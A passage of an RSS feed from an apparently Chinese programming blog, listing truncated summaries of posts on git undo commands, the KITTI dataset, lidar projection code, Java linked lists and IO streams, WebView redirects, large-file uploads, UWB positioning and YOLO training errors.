if(HAL_DAC_SetValue(&amp;amp;hdac,DAC_CHANNEL_1,DAC_ALIGN_12B_R,0x0)!=HAL_OK) {Error_Handler();} //开启DAC通道一 if(HAL_DAC_Start(&amp;amp;hdac,DAC_CHANNEL_1)!</description>
    </item>
    <item>
      <title>git 撤销代码</title>
      <link>https://bchobby.github.io/posts/6834cd638aef99b2de7d0f53b039795a/</link>
      <pubDate>Wed, 06 Jul 2022 17:47:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6834cd638aef99b2de7d0f53b039795a/</guid>
      <description>git如何撤销和回滚 由于也是刚接触git版本管理工具不久，对git使用不熟练，在项目开发中也是磕磕碰碰，于 是决定好好熟悉一下git版本管理工具，其中git的撤销和回滚在项目当中还是应用的比较多 因此做了一下总结，列出常见的撤销命令。 1 git commit 之前撤销命令 下图是我未添加到暂存区的文件(也就是没有执行git add这个命令)&#xA;这种撤销可以直接执行git checkout -- 文件名 看一下代码示例吧（一定要加要注意 - - ）&#xA;刚刚是有两个文件，执行了git checkout -- 文件名命令之后 ，只剩一个文件了，另一个文件被撤销了。&#xA;撤销多个文件 git checkout -- . 即可撤销多个文件&#xA;2.添加到暂存区（执行了git add 命令）该怎么撤销呢？ 一起来看看吧&#xA;下图是我将文件git add .之后，已经添加到暂存区的状态（Changes to be committed）&#xA;现在我将添加到暂存区的文件给撤销&#xA;这里我用了命令git reset HEAD &amp;lt;file&amp;gt; file是文件名&#xA;我又查看了一下状态 git status 此时显示我还未添加到暂存区，若我想把add到暂存区的文件全部撤销，则可以执行git reset HEAD命令。&#xA;第二大情况就是 git commit 之后。此时已经提交了，只是没有推送到远程仓库 此时commit提交后想撤销的话，需要revert命令。git revert 命令是撤销某次操作，而在此次操作之前和之后的提交记录都会保留。&#xA;我先用git log查看一下提交记录，算了，我嫌git log打印的太多，直接用这个命令git log --pretty=oneline&#xA;下面直接出现了我近期提交的记录，而这前面黄色的一大串，则是我提交的commit id（版本号）&#xA;现在我将它回退到提交之前 刚刚执行的命令是 git revert 版本号</description>
    </item>
    <item>
      <title>KITTI数据集简介与使用</title>
      <link>https://bchobby.github.io/posts/d73599c02388c3853bce9d78d79d4b19/</link>
      <pubDate>Wed, 06 Jul 2022 10:05:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d73599c02388c3853bce9d78d79d4b19/</guid>
      <description>点击上方“小白学视觉”，选择加&#34;星标&#34;或“置顶”&#xA;重磅干货，第一时间送达 摘要：本文融合了Are we ready for Autonomous Driving? The KITTI Vision Benchmark Suite和Vision meets Robotics: The KITTI Dataset两篇论文的内容，主要介绍KITTI数据集概述，数据采集平台，数据集详细描述，评价准则以及具体使用案例。本文对KITTI数据集提供一个较为详细全面的介绍，重点关注利用KITTI数据集进行各项研究与实验。&#xA;KITTI数据集概述&#xA;KITTI数据集由德国卡尔斯鲁厄理工学院和丰田美国技术研究院联合创办，是目前国际上最大的自动驾驶场景下的计算机视觉算法评测数据集。该数据集用于评测立体图像(stereo)，光流(optical flow)，视觉测距(visual odometry)，3D物体检测(object detection)和3D跟踪(tracking)等计算机视觉技术在车载环境下的性能。KITTI包含市区、乡村和高速公路等场景采集的真实图像数据，每张图像中最多达15辆车和30个行人，还有各种程度的遮挡与截断。整个数据集由389对立体图像和光流图，39.2 km视觉测距序列以及超过200k 3D标注物体的图像组成[1] ，以10Hz的频率采样及同步。总体上看，原始数据集被分类为’Road’, ’City’, ’Residential’, ’Campus’ 和 ’Person’。对于3D物体检测，label细分为car, van, truck, pedestrian, pedestrian(sitting), cyclist, tram以及misc组成。&#xA;数据采集平台&#xA;如图-1所示，KITTI数据集的数据采集平台装配有2个灰度摄像机，2个彩色摄像机，一个Velodyne 64线3D激光雷达，4个光学镜头，以及1个GPS导航系统。具体的传感器参数如下[2] ：&#xA;• 2 × PointGray Flea2 grayscale cameras (FL2-14S3M-C), 1.4 Megapixels, 1/2” Sony ICX267 CCD, global shutter&#xA;• 2 × PointGray Flea2 color cameras (FL2-14S3C-C), 1.4 Megapixels, 1/2” Sony ICX267 CCD, global shutter</description>
    </item>
    <item>
      <title>将激光点云数据投影到二维图像及对三维点云上色</title>
      <link>https://bchobby.github.io/posts/20bbaf4990cef4e43b5fada0bfce352d/</link>
      <pubDate>Wed, 06 Jul 2022 09:28:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/20bbaf4990cef4e43b5fada0bfce352d/</guid>
      <description>最近在做一些毕设的东西，做到这里写个笔记记录以下，也为大家提供一点参考。&#xA;本次所用的数据是16线的激光点云数据和1080p的usb图像信息，内容涉及到标定，投影两个部分，参考网上大部分都是ros下方进行进一步开发，这里写一个不一样的。&#xA;1、相机和激光雷达标定 相机和激光雷达标定使用的是autoware的标定包。需要标定的话可以参考大佬们的博客，内容相差不大，里面有工具安装步骤和标定方法。&#xA;https://blog.csdn.net/AdamShan/article/details/81670732&#xA;https://blog.csdn.net/zbr794866300/article/details/107109186&#xA;2、矩阵参数转置 autoware构建出来的矩阵不能拿来直接使用，原因我就不仔细在这里介绍了。可以参考大佬们的博客。直通车！！！（飞机票）&#xA;3、激光和相机之间的投影 这里就直接上全部代码了，关键部分的代码解读，参考这行的飞机票。python版本的点这个链接。&#xA;#include&amp;lt;iostream&amp;gt; #include&amp;lt;opencv2/opencv.hpp&amp;gt; #include&amp;lt;string&amp;gt; #include&amp;lt;pcl/io/pcd_io.h&amp;gt; #include&amp;lt;pcl/common/transforms.h&amp;gt; #include&amp;lt;pcl/console/parse.h&amp;gt; #include&amp;lt;pcl/visualization/range_image_visualizer.h&amp;gt; #include&amp;lt;pcl/common/common_headers.h&amp;gt; #include&amp;lt;pcl/visualization/pcl_visualizer.h&amp;gt; #include&amp;lt;pcl/visualization/cloud_viewer.h&amp;gt; using namespace std; struct fileArg { cv::Mat extrinsic_mat, camera_mat,dist_coeff; //外参矩阵，内参矩阵，畸变矩阵 cv::Mat rotate_mat,transform_vec; //旋转矩阵，平移向量 }; struct calcuArg { cv::Mat rotate_mat; cv::Mat transform_vec; cv::Mat rotate_vec; }; void getMatrixFromFile(cv::String filePath, fileArg&amp;amp; filearg, calcuArg&amp;amp; calarg) { cv::FileStorage fs(filePath, cv::FileStorage::READ); //打开标定结果文件 if(!fs.isOpened()) cout&amp;lt;&amp;lt; &#34;open failed&#34;&amp;lt;&amp;lt;endl; fs[&#34;CameraExtrinsicMat&#34;] &amp;gt;&amp;gt; filearg.extrinsic_mat; //从文件里读取4x4外参矩阵 fs[&#34;CameraMat&#34;] &amp;gt;&amp;gt;filearg.camera_mat; //从文件里读取3x3相机内参矩阵 fs[&#34;DistCoeff&#34;] &amp;gt;&amp;gt; filearg.</description>
    </item>
    <item>
      <title>【Java实现】合并两个有序链表</title>
      <link>https://bchobby.github.io/posts/64761e04713e137ee23616c239ebd256/</link>
      <pubDate>Wed, 06 Jul 2022 06:12:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/64761e04713e137ee23616c239ebd256/</guid>
      <description>🎈目录🎈&#xA;问题描述🔒&#xA;输入输出示例：&#xA;解题分析🔑&#xA;代码实现🔓&#xA;题目入口📌：合并两个有序链表&#xA;问题描述 将两个升序链表合并为一个新的 升序 链表并返回。新链表是通过拼接给定的两个链表的所有节点组成的。&#xA;输入输出示例： 解题分析 合并链表跟合并数组差不多，合并两个数组，是分别比较两个数组中元素的大小，然后放入新数组中。对于链表来说，我们不需要准备新的链表，我们可以直接在原有链表的基础上进行修改。&#xA;对我们来说，合并链表后的头结点难以确定，如果 链表list1 的头结点 小于 链表list2的头结点，那么合并后的链表的 头结点就是 list1的头结点，反之就是 list2的头结点。这样判断头结点，有点过于复杂，我们可以新开辟一个傀儡结点（虚拟节点）newHead，然后 newHead 的val值赋为-1，同时创建一个 tmp指针指向newHead 结点。&#xA;这样我们就可以省去头结点的确认，因为newHead.next 就是合并后链表的头结点。&#xA;tmp: 便于我们合并链表&#xA;接下来就是合并list1 和 list2 两个链表了，不断比较 list1 和 list2 所指向结点的val 值大小&#xA;如下图，list1.val 小于 list2.val，所以便把 list1 的地址传给 tmp.next，list1和tmp都向后移一步，list2保持不动。当list1.val 大于 list2.val，具体操作类似。&#xA;在判断两个链表是个多次的比较过程，所以我们要放到循环里面，那循环结束的条件我们还没确定。如下图，当 list2 指向null时，我们就要结束比较了，因为在比较下去编译器就会报出空指针异常。&#xA;所以一这段的代码我们可以写为：&#xA;while(list1 != null &amp;amp;&amp;amp; list2 != null){ if(list1.val &amp;lt; list2.val){ tmp.next = list1; list1 = list1.next; tmp = tmp.next; }else{ tmp.</description>
    </item>
    <item>
      <title>coreldraw2022新版本新功能介绍cdr2022</title>
      <link>https://bchobby.github.io/posts/7ba7772e62f41dc4fc4a363ac8a5c037/</link>
      <pubDate>Tue, 05 Jul 2022 22:09:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7ba7772e62f41dc4fc4a363ac8a5c037/</guid>
      <description>CorelDRAW 2022基于CDR功能打造的一款实用色矢量图形设计及制作软件，相比于其他版本它更加面向于大众，更加适合业余爱好者和家庭企业的图形设计用户。为用户提供了还提供了强大的图形设计布局功能，其矢量图和页面布局工具可以在程序中轻而易举的找到，还可一键分享你的设计结果。&#xA;coreldraw2022最新版是一款由Corel推出的面向个人用户的图形设计软件，软件主要用于矢量图形的设计制作，它为用户们提供了强大的图像处理功能以及一套完整的视觉沟通解决方案，不管是矢量绘图或版面设计，还是网站制作或位图编辑，用户始终哦都可以通过这款软件得心应手地进行各种设计创作。&#xA;推出新版本2022的重新设计了操作页面，可以让您根据自己的工作习惯选择您的工作空间。 如果您习惯使用ps 或 AI，则可以将 CorelDRAW 的新界面设置为与上述软件类似。 新版本还提供了几个用于优化工作流程的新工作区，并支持高分辨率和多显示器，允许您在多个屏幕上移动项目。&#xA;CorelDraw-CorelDRAW2022正式版介绍&#xA;coreldraw2022最新版是一款由Corel公司推出的面向个人用户的图形设计软件，软件主要用于矢量图形的设计制作，它为用户们提供了强大的图像处理功能以及一套完整的视觉沟通解决方案，不管是矢量绘图或版面设计，还是网站制作或位图编辑，用户始终哦都可以通过这款软件得心应手地进行各种设计创作。&#xA;推出新版本2022的重新设计了操作页面，可以让您根据自己的工作习惯选择您的工作空间。 如果您习惯使用ps 或 AI，则可以将 CorelDRAW 的新界面设置为与上述软件类似。 新版本还提供了几个用于优化工作流程的新工作区，并支持高分辨率和多显示器，允许您在多个屏幕上移动项目。&#xA;软件名称：CorelDRAW Graphics Suite 订阅版简介：&#xA;CorelDRAW Graphics Suite 订阅版拥有配备齐全的专业设计工具包，可以通过非常高的效率提供令人惊艳的矢量插图、布局、照片编辑和排版项目。价格实惠的订阅就能获得令人难以置信的持续价值，即时、有保障地获得独家的新功能和内容、一流的性能，以及对最新技术的支持。获得 CorelDRAW Graphics Suite 订阅奖励，您将可以畅享其他版本无法享受的专属新功能和内容。&#xA;功能介绍： 更快速的照片编辑功能 借助新的、无损的可堆叠调整预置和全新的“调整”泊坞窗，获得令人难以置信的创意，速度比以前快 10 倍。尽享为常用照片编辑功能添加的许多受用户启发的增强功能，以及带有新工具、快捷方式和命令的更新的“调整”菜单。&#xA;受客户启发的功能 尽享根据忠实用户的直接建议推出的许多丰富功能，从省时的“多页”视图和“页面”改进到有价值的图像编辑和导出增强功能，都囊括其中。在出现想法时提交您自己的想法，并对他人的想法进行投票，为 CorelDRAW Graphics Suite 的设计和开发贡献自己的力量，从而助力我们实现这一目标！&#xA;动态资产管理 通过跨项目和团队共享符号，以及在您或其他人进行更改时同步更新，为设计资产创建单一的真实来源。&#xA;省时排版 在 Corel Font Manager 中，通过直接访问一千多种 Google Fonts 字体系列，省去了从头开始创建版式的步骤。&#xA;协作改进 得益于简化的登录过程和性能增强功能，更快地保存、打开和共享云设计，体验真正高效的协作工作流。&#xA;矢量插图 使用 CorelDRAW 强大的矢量插图工具将简单的线条和形状变成复杂的艺术品。借助多种通用形状和绘图工具创建曲线。使用轮廓、封套、渐变和网状填充等效果工具，为您的矢量插图添加创意效果。&#xA;页面布局 找到为小册子、多页文档等创建布局您需要的所有工具。可以在单页编辑和多页编辑之间切换，让您以自己想要的方式自由创作。&#xA;排版 使用一整套完整的版式工具，排列精美字体布局。为图块阴影和轮廓等文本添加效果，通过可变字体支持响应性地微调字体，为文本适配路径等。&#xA;字体管理 通过直观易用的 Corel Font Manager 组织并管理您的字体库，无需安装即可直接使用自己喜欢的字体。使用网络存储功能更快地处理字体，直接访问 1,000 多种 Google Fonts 字体系列。</description>
    </item>
    <item>
      <title>变量的命名规则十二条</title>
      <link>https://bchobby.github.io/posts/a7868571dc5d49c57ac824a22edc4596/</link>
      <pubDate>Tue, 05 Jul 2022 21:26:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a7868571dc5d49c57ac824a22edc4596/</guid>
      <description>一般规则 规则一 直观可以拼读，望文得知意，便于记忆，采用英文单词或组合，不建议使用拼音，英文单词也不要太复杂，建议使用简写&#xA;规则二 变量长度符合“min_length &amp;amp;&amp;amp; max_information”,比如Max_value替换maxvalueuntiloverflow，较长的单词可以去掉元音形成缩写 规则三 当标识符号由多个词组成时，每个词的第一个字母要大写，其余全部小写&#xA;例如 int CurrentVal; //看起来清楚易懂&#xA;规则四 尽量避免名字中出现数字编号，例如我之前命名很喜欢用value1，value2，value3等等，除非逻辑上的确需要，像驱动开发和引脚之类的，加编号更易使用&#xA;规则五&#xA;在对多个文件之间共同使用的全局变量或函数一定要加范围限定符号，（建议使用模块缩写作为范围限定符）&#xA;规则六 符号命名有两部分，规范标识符前缀（后缀）+含义标识，全局变量以g或g+模块缩写(大写)作前缀，后面跟第一个字母大写的变量名。C中全局变量是不稳定因素，要保持警惕，用前缀显式标识变量为全局，能起到提示作用。名称前加上模块的缩写，可以在多模块集成链接时，避免模块间全局变量重名。&#xA;局部变量中，循环计数/数组下标可用i,j,k,m依次表示。除此以外，其它变量加前缀表示变量类型，前缀没有统一规范，p代表指针，pf指向函数的指针，f单精度浮点，db双精度浮点，u,s分别代表无符号与有符号数，即unsigned与signed。这样可以从变量名看出其类型，并避免一些bug&#xA;模板：模块名缩写_作用域前缀|数据类型前缀|【指针前缀】|含义标识|数组/结构后缀&#xA;规则七 作用域前缀命名规则&#xA;标识符类型作用域前缀全局变量g文件局部变量n函数局部变量f局部作用域变量a全局函数g静态函数n 规则八 数据类型前缀命名规则&#xA;前缀后缀数据类型备注btbitbooleanboolean charchar iintsshrot[int]llong[int]uunsigned[int]dduobleffloatppointer指针前缀vvoidstenumststructstunionfpfunction point_aarray of_sttypedef enum/struct/union 规则九 变量含义标识符构成：目的词+动词（过去分词）+状语+目标&#xA;例如：DataDeletedFromSD&#xA;函数含义标识符构成：&#xA;动词（一般现在时）+目标词+状语+目标&#xA;对了，同时安利一波现在真正看的语法视频&#xA;英语语法精讲合集 (全面, 通俗, 有趣 | 从零打造系统语法体系)_哔哩哔哩_bilibilihttps://www.bilibili.com/video/BV1XY411J7aG?p=8&amp;amp;vd_source=8e3e569f698756c0f7529e30f2af56ee&#xA;规则十 所有宏定义，枚举常数，只读变量全部用大写字母命名，用下划线分割单词。&#xA;例如&#xA;const int MAX_LENGTH = 100;&#xA;#define FILE_PATH “/usr/tmp”&#xA;规则十一 定义变量时不要忘记了初始化。定义变量时编译器并不一定清空这块内存，它的值可能是无效的数据。&#xA;规则十二 考虑到习惯问题，局部变量中可采用通用的命名方式，仅限于n，i，j等作为循环变量使用。&#xA;2022年7月5日21:26:07 行政楼</description>
    </item>
    <item>
      <title>IO流之字节流与常见编码</title>
      <link>https://bchobby.github.io/posts/5648829f1058829a81a2f4c3a0eb192d/</link>
      <pubDate>Tue, 05 Jul 2022 20:50:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5648829f1058829a81a2f4c3a0eb192d/</guid>
      <description>IO流 1.流的概念和分类 IO流核心组成 核心组成：一个类（File）、一个接口（Serializable）、四个抽象类（InputStream/OutputStream、Reader/Writer） 什么是流 流：内存与存储设备之间传输数据的通道 流的分类 按方向&#xA;输入流：将&amp;lt;存储设备&amp;gt;中的内容读到&amp;lt;内存&amp;gt;中输出流：将&amp;lt;内存&amp;gt;中的内容写到&amp;lt;存储设备&amp;gt;中 按单位&#xA;字节流：以字节为单位，可以读写所有数据字符流：以字符为单位，只能读写文本数据 按功能&#xA;节点流：具有实际传输数据的读写功能过滤流：在节点流的基础之上增强功能 2.字节流 2.1字节流抽象类 InputStream 此抽象类是表示字节输入流的所有类的父类。InputSteam是一个抽象类，它不可以实例化。数据的读取需要由它的子类来实现。根据节点的不同，它派生了不同的节点流子类。继承自InputSteam的流都是用于向程序中输入数据，且数据的单位为字节（8 bit）常用方法：&#xA;public int read(){}：读取一个字节的数据，并将字节的值作为int类型返回（0-255之间的一个值）。如果未读出字节则返回-1（返回值为-1表示读取结束）。while((data=fis.read())!=-1)来判断读取文件是否结束。&#xA;public int read(byte[] b){} ：从该输入流读取最多 b.length个字节的数据，并把读取的数据存放到b这个字符数组里面&#xA;public int read(byte[] b, int off, int len){} OutputStream 此抽象类是表示字节输出流的所有类的父类。输出流接收输出字节并将这些字节发送到某个目的地&#xA;public void write(int n)：向目的地中写入一个字节&#xA;public void write(byte[] b){} ： 将 b.length个字节从指定的字节数组写入此文件输出流。&#xA;public void write(byte[] b, int off, int len){} 2.2文件字节流 FileInputStream： public int read(byte[] b) // 从流中读取多个字节，将读到内容存入 b 数组，返回实际读到的字节数；如果达到文件的尾部，则返回 -1 FileOutputStream： public void write(byte[] b) // 一次写多个字节，将 b 数组中所有字节，写入输出流 2.</description>
    </item>
    <item>
      <title>关于地址请求在WebView中的跳转问题</title>
      <link>https://bchobby.github.io/posts/4389814db9bcc55bf5e110793ca3ae50/</link>
      <pubDate>Tue, 05 Jul 2022 18:41:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4389814db9bcc55bf5e110793ca3ae50/</guid>
      <description>转自：微点阅读 https://www.weidianyuedu.com&#xA;在实际项目开发中，我们用到WebView的场景，大多是在对接协议、第三方应用或网页时出现。对于页面加载，WebView没有自带等待效果。所以，需要我们去自定义各种带进度条的WebView，网上相关的例子也是不胜枚举，今天我们就来谈谈一条地址请求在WebView中的跳转问题：&#xA;WebView中有两个工具类负责管理网页各种行为：WebChromeClient 和 WebViewClient。分别通过 setWebChromeClient() 和 setWebViewClient() 来实例化。&#xA;WebChromeClient：&#xA;Chrome一词表明这个类和webView的网页内容管理有关，它的成员方法帮助WebView处理Javascript的弹框、网站图标、网站title、加载进度等。最常用的方法如下：&#xA;onJsConfirm()：页面选择框;&#xA;onJsAlert()：页面提示框;&#xA;onJsPrompt()：页面确认框;&#xA;onProgressChanged()：加载进度;&#xA;当网页出现上述操作时，便会触发方法。其中 onProgressChanged() 方法通常用来设计成线性进度条的样式。当然这个工具类不是本次内容的主角。&#xA;WebViewClient&#xA;WebViewClient（本篇重点）：&#xA;帮助WebView处理各种通知、请求事件、记录页面加载过程的。 其中就包括URL地址，我们可以通过它来监控到地址的调用过程。&#xA;我们需要用到的相关的方法有：&#xA;shouldOverrideUrlLoading()：&#xA;onPageStarted()：&#xA;onPageFinished()：&#xA;网页加载分析&#xA;触发加载网页的行为主要有两种方式：&#xA;（A）点击页面，触发&#xA;（B）调用WebView的loadUrl()方法。&#xA;这两种方法都会发出一条地址，区别就在于这条地址是目的地址还是重定向地址。&#xA;我们以访问 http://www.baidu.com 百度的页面来测试一下方法的执行顺序。我事先在 shouldOverrideUrlLoading()，onPageStarted()，onPageFinished() 中添加的log输出，我们观察一下log日志：&#xA;1、 在代码中通过loadUrl加载百度的首页，此时的行为属于（B）方式：&#xA;Log如下：&#xA;2、在首页，我们点击一下“hao123”,跳转到 www.hao123.com 的主页上来，此时的行为属于（A）方式，Log如下：&#xA;3、点击“影视”，进入到影视页面，此时的行为属于（A）方式，Log如下：&#xA;4、然后，我们点击“影视列表”，此时的行为属于（A）方式，Log如下：&#xA;5、我们重新发起一次loadUrl()，这次访问一下CSDN，此时的行为属于（B）方式，Log如下：&#xA;通过上述范例，我们可以得出以下结论：&#xA;在A行为方式（点击页面，触发）下：&#xA;1、如果是目的地址，那么方法的执行顺序是：&#xA;shouldOverrideUrlLoading() -&amp;gt; onPageStarted() -&amp;gt; onPageFinished()&#xA;shouldOverrideUrlLoading()由于它要提供给APP选择加载网页环境的机会，所以只要是网页上地址请求，都会获取到。&#xA;2、如果是重定向地址，在跳转到目的地址之前会进行不断的地址定位，每一次地址定位都会由以下执行顺序体现出来：&#xA;onPageStarted()-&amp;gt;shouldOverrideUrlLoading()-&amp;gt;onPageFinished()&#xA;我们暂且设定这种执行顺序叫：fixed position&#xA;那么一个正常的重定向地址，方法的执行顺序就是：&#xA;shouldOverrideUrlLoading()-&amp;gt;fixed position -&amp;gt; … -&amp;gt; fixed position -&amp;gt;onPageStarted()-&amp;gt;onPageFinished()&#xA;在B行为方式（调用WebView的loadUrl()方法）下：</description>
    </item>
    <item>
      <title>前端上传大文件的解决方案</title>
      <link>https://bchobby.github.io/posts/d5c6840ce93e81e488d3dd6f8e6dfa24/</link>
      <pubDate>Tue, 05 Jul 2022 18:04:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d5c6840ce93e81e488d3dd6f8e6dfa24/</guid>
      <description>最近遇见一个需要上传超大大文件的需求，调研了七牛和腾讯云的切片分段上传功能，因此在此整理前端大文件上传相关功能的实现。&#xA;在某些业务中，大文件上传是一个比较重要的交互场景，如上传入库比较大的Excel表格数据、上传影音文件等。如果文件体积比较大，或者网络条件不好时，上传的时间会比较长（要传输更多的报文，丢包重传的概率也更大），用户不能刷新页面，只能耐心等待请求完成。&#xA;下面从文件上传方式入手，整理大文件上传的思路，并给出了相关实例代码，由于PHP内置了比较方便的文件拆分和拼接方法，因此服务端代码使用PHP进行示例编写。&#xA;本文相关示例代码位于github上，主要参考&#xA;聊聊大文件上传&#xA;大文件切割上传&#xA;文件上传的几种方式&#xA;首先我们来看看文件上传的几种方式。&#xA;普通表单上传&#xA;使用PHP来展示常规的表单上传是一个不错的选择。首先构建文件上传的表单，并指定表单的提交内容类型为enctype=&#34;multipart/form-data&#34;，表明表单需要上传二进制数据。&#xA;然后编写index.php上传文件接收代码，使用move_uploaded_file方法即可(php大法好…)&#xA;form表单上传大文件时，很容易遇见服务器超时的问题。通过xhr，前端也可以进行异步上传文件的操作，一般由两个思路。&#xA;文件编码上传&#xA;第一个思路是将文件进行编码，然后在服务端进行解码，之前写过一篇在前端实现图片压缩上传的博客，其主要实现原理就是将图片转换成base64进行传递&#xA;varimgURL = URL.createObjectURL(file);&#xA;ctx.drawImage(imgURL, 0, 0);&#xA;// 获取图片的编码，然后将图片当做是一个很长的字符串进行传递&#xA;vardata= canvas.toDataURL( &#34;image/jpeg&#34;, 0.5);&#xA;在服务端需要做的事情也比较简单，首先解码base64，然后保存图片即可&#xA;$imgData = $_REQUEST[ &#39;imgData&#39;];&#xA;$base64 = explode( &#39;,&#39;, $imgData)[ 1];&#xA;$img = base64_decode($base64);&#xA;$url = &#39;./test.jpg&#39;;&#xA;if(file_put_contents($url, $img)) {&#xA;exit(json_encode( array(&#xA;url =&amp;gt; $url&#xA;)));&#xA;}&#xA;base64编码的缺点在于其体积比原图片更大（因为Base64将三个字节转化成四个字节，因此编码后的文本，会比原文本大出三分之一左右），对于体积很大的文件来说，上传和解析的时间会明显增加。&#xA;更多关于base64的知识，可以参考Base64笔记。&#xA;除了进行base64编码，还可以在前端直接读取文件内容后以二进制格式上传&#xA;// 读取二进制文件&#xA;functionreadBinary(text){&#xA;vardata = newArrayBuffer(text.length);&#xA;varui8a = newUint8Array(data, 0);&#xA;for( vari = 0; i &amp;lt; text.</description>
    </item>
    <item>
      <title>UWB超宽带定位技术，实时厘米级高精度定位应用，超宽带传输技术</title>
      <link>https://bchobby.github.io/posts/a0878c262a75ad51afb48b71e70b815d/</link>
      <pubDate>Tue, 05 Jul 2022 17:21:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a0878c262a75ad51afb48b71e70b815d/</guid>
      <description>无论移动在室内还是室外环境下，快速准确地获得移动终端的位置信息和提供位置服务的需求变得日益迫切。&#xA;利用无线通信和参数测量确定移动终端位置，而定位信息又可以用来支持位置业务和优化网络管理，提高位置服务质量和网络性能。&#xA;UWB超宽带技术是一种与传统通信技术有极大差异的通信新技术。超宽带技术可以应用于室内静止或者移动物体以及人的定位跟踪与导航。&#xA;它不需要使用传统通信体制中的载波，而是通过发送和接收具有纳秒或纳秒级以下的极窄脉冲来传输数据，从而具有GHz量级的带宽。&#xA;在万物互联的当下，室内精准定位正在成为刚需，大型商场超市希望能够借助室内定位技术为前来购物的消费者提供实时导引服务，同时基于位置提供对应的营销服务。&#xA;医院希望对医疗设备进行实时定位，便于需要时快速调用;希望能对特殊病患进行定位监护，防止其发生意外。&#xA;UWB定位技术精度已可实现5-10厘米的高精度定位，具有对信道衰落不敏感、发射信号功率谱密度低、低截获能力、系统复杂度低、能提供数厘米的定位精度等优点。&#xA;超宽带技术具有GHz量级的带宽，因此穿透力强、抗干扰效果好、安全性高、系统复杂度低、能提供高精度定位，前景相当广阔。&#xA;机场人员、货物、运载机器精准定位，快速找到货物，提高管理效率；物流仓储跟踪条码阅读器和叉车，减少检查环节，使仓储管理变得灵活。&#xA;医疗实时跟踪病人，进行照顾和管理，方便人力资源管理；危险环境定位个人和资源，安全位置紧急搜索，人员监控，优化管理过程，做到安全有效。&#xA;重点安保区域人员的进出管理、实时位置查询、禁区监管、隔离距离控制、人员调度，能对人员路线、距离、速度进行监控和统计。&#xA;体育活动实时跟踪与计算运动员的方向和速度等，详细的性能分析，记录队伍比赛，包括控球时间、射门速度、持球速度等数据一目了然......&#xA;利用通信技术把传感器、控制器、机器、人员和物等通过新的方式联在一起，实现了人与物、物与物之间的通讯，也真真切切让我们从感官上体验到了位置数据。&#xA;UWB超宽带技术有着低功耗、对信道衰落（如多径、非视距等信道）不敏感、抗干扰能力强、不会对同一环境下的其他设备产生干扰、穿透性较强（能在穿透一堵砖墙的环境进行定位）的优点。&#xA;在室内或者建筑物比较密集的场合可以获得良好的定位效果，同时在进行测距、定位、跟踪时也能达到更高的精度，应用于静止或者移动物体以及人的定位跟踪，能提供很高的定位准确度和定位精度。&#xA;UWB精准定位技术，可实现实时定位、人员资产分布、历史轨迹回放、电子围栏报警、物资管理、物资盘点等功能。&#xA;可广泛应用于隧道管廊、司法监狱、大型工厂、石油化工、养老医院、仓储物流、智能楼宇、机场车站等对人员和资产有定位管理需求的场景。</description>
    </item>
    <item>
      <title>YOLOX训练报错TypeError: evaluate() got an unexpected keyword argument ‘return_outputs‘</title>
      <link>https://bchobby.github.io/posts/1c1046713a7ced2995980e88a499eb68/</link>
      <pubDate>Tue, 05 Jul 2022 17:14:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1c1046713a7ced2995980e88a499eb68/</guid>
      <description>训练YOLOX的时候，每次评估均会报错停止，报错信息如下：&#xA;2022-07-02 17:51:57 | INFO | yolox.core.trainer:253 - epoch: 10/300, iter: 10/36, mem: 5854Mb, iter_time: 0.220s, data_time: 0.001s, total_loss: 6.4, i ou_loss: 2.7, l1_loss: 0.0, conf_loss: 3.1, cls_loss: 0.6, lr: 1.248e-03, size: 608, ETA: 0:53:54 2022-07-02 17:52:00 | INFO | yolox.core.trainer:253 - epoch: 10/300, iter: 20/36, mem: 5854Mb, iter_time: 0.225s, data_time: 0.001s, total_loss: 6.3, i ou_loss: 2.8, l1_loss: 0.0, conf_loss: 2.9, cls_loss: 0.7, lr: 1.247e-03, size: 480, ETA: 0:53:26 2022-07-02 17:52:02 | INFO | yolox.</description>
    </item>
    <item>
      <title>也算是学习中的小总结</title>
      <link>https://bchobby.github.io/posts/d8a0bb102f2c5b8e278e9df054775b61/</link>
      <pubDate>Tue, 05 Jul 2022 17:11:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d8a0bb102f2c5b8e278e9df054775b61/</guid>
      <description>#以下代码都是在jupyter notebook中运行的 import torch c=torch.arange(20).reshape(2,5,2) c,c.sum(axis=0) #(2,5,2)第一个2消失，两个（5，2）相加 #运行结果 (tensor([[[ 0, 1], [ 2, 3], [ 4, 5], [ 6, 7], [ 8, 9]], [[10, 11], [12, 13], [14, 15], [16, 17], [18, 19]]]), tensor([[10, 12], [14, 16], [18, 20], [22, 24], [26, 28]])) c=torch.arange(20).reshape(2,5,2) c,c.sum(axis=1) #(2,5,2)第二个5消失，两个（5，2）变成（1，2）再相加 #运行结果 (tensor([[[ 0, 1], [ 2, 3], [ 4, 5], [ 6, 7], [ 8, 9]], [[10, 11], [12, 13], [14, 15], [16, 17], [18, 19]]]), tensor([[20, 25], [70, 75]])) c=torch.</description>
    </item>
    <item>
      <title>训练yolo时报错RuntimeError: result type Float can‘t be cast to the desired output type __int64个人解决方案</title>
      <link>https://bchobby.github.io/posts/c17d66235a8569b013e97d3a79dd912f/</link>
      <pubDate>Tue, 05 Jul 2022 17:05:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c17d66235a8569b013e97d3a79dd912f/</guid>
      <description>运行YOLOv5 6.1和yolor的时候，训练都没能正常运行，均出现了如下错误：&#xA;AutoAnchor: 5.00 anchors/target, 1.000 Best Possible Recall (BPR). Current anchors are a good fit to dataset Image sizes 640 train, 640 val Using 0 dataloader workers Logging results to runs\train\exp14 Starting training for 300 epochs... Epoch gpu_mem box obj cls labels img_size 0%| | 0/8 [00:03&amp;lt;?, ?it/s] Traceback (most recent call last): File &#34;train.py&#34;, line 634, in main(opt) File &#34;train.py&#34;, line 525, in main train(opt.hyp, opt, device, callbacks) File &#34;</description>
    </item>
    <item>
